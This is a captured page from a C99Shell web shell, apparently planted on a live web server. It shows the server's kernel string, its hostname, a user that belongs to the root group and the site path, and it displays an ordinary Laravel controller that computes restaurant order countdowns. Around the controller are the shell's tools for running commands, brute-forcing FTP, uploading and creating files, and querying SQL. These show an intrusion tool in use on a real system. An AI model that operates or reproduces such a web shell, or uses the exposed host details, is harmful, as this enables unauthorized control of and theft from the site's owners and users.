!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     OrderCountDownController.php (3.7 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Order;
use 
App\Models\Restaurant;
use 
Illuminate\Http\Request;
use 
DateTime;
use 
DateInterval;
class 
OrderCountDownController extends Controller
{
    public function 
index()
    {
        
$data['restaurants'] = [];
        
$user auth()->user();
        if (
$user->type == 'restaurant_owner') {
        
$data['restaurants'] = Restaurant::where('user_id'$user->id)->select('id''name')->get();
    }
        return 
view('order_count_down.index',$data);
    }

    public function 
order_time_count_down(Request $request)
    {
        
$user auth()->user();

        if (
$user->type == 'restaurant_owner') {
            
$restaurants Restaurant::where('user_id'$user->id)->select('id''name')->get();

            if (
$restaurants->isNotEmpty()) {
                
$restaurantIds $restaurants->pluck('id');

                if (
$request->has('restaurant_id') && in_array($request->restaurant_id$restaurantIds->toArray())) {
                    
$restaurantIds = [$request->restaurant_id];
                }

                
$orders Order::whereIn('restaurant_id'$restaurantIds)
                    ->
where('type','pay_on_table')
                    ->
orderBy('created_at''desc')
                    ->
get()
                    ->
map(function ($order) {
                        return [
                            
'table_name' => 'Table #' $order->table->name,
                            
'order_number' => $order->order_number,
                            
'order_time' => $order->created_at->format('g:i:s A'),
                            
'remaining_time' => $this->calculateRemainingTime($order->delivered_within$order->approved_at),
                            
'status' => ucfirst($this->getOrderStatus($order->status))
                        ];
                    });

                return 
response()->json([
                    
'data' => $orders,
                    
'status' => 'success',
                ]);
            }
        }

        return 
response()->json([
            
'data' => [],
            
'status' => 'error',
            
'message' => 'No orders found or unauthorized access'
        
]);
    }

private function 
getOrderStatus($status)
{
    return 
$status === 'ready_for_delivery' 'On The Way' $status;
}

private function 
calculateRemainingTime($deliveredWithin$approvedTime)
{
    
$parts explode(' '$deliveredWithin);

    if (
count($parts) === 2) {
        
$value = (int)$parts[0];
        
$unit strtolower($parts[1]);

        
$intervalSpec = match ($unit) {
            
'minute''minutes' => "PT{$value}M",
            
'hour''hours' => "PT{$value}H",
            
'day''days' => "P{$value}D",
            default => 
null
        
};

        if (
$intervalSpec) {
            
$interval = new DateInterval($intervalSpec);
            
$approvedDateTime = new DateTime($approvedTime);
            
$deliveryTime = clone $approvedDateTime;
            
$deliveryTime->add($interval);
            
$now = new DateTime();

            if (
$now $deliveryTime) {
                return 
'Time Over';
            }

            
$remainingTime $deliveryTime->diff($now);

            return 
$this->formatRemainingTime($remainingTime);
        }
    }

    return 
'Time Over';
}

private function 
formatRemainingTime($remainingTime)
{
    
$parts = [];
    if (
$remainingTime->0) {
        
$parts[] = $remainingTime->' day' . ($remainingTime->'s' '');
    }
    if (
$remainingTime->0) {
        
$parts[] = $remainingTime->' hour' . ($remainingTime->'s' '');
    }
    if (
$remainingTime->0) {
        
$parts[] = $remainingTime->' minute' . ($remainingTime->'s' '');
    }

    return 
implode(', '$parts) ?: '0 minutes';
}



}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0041 ]--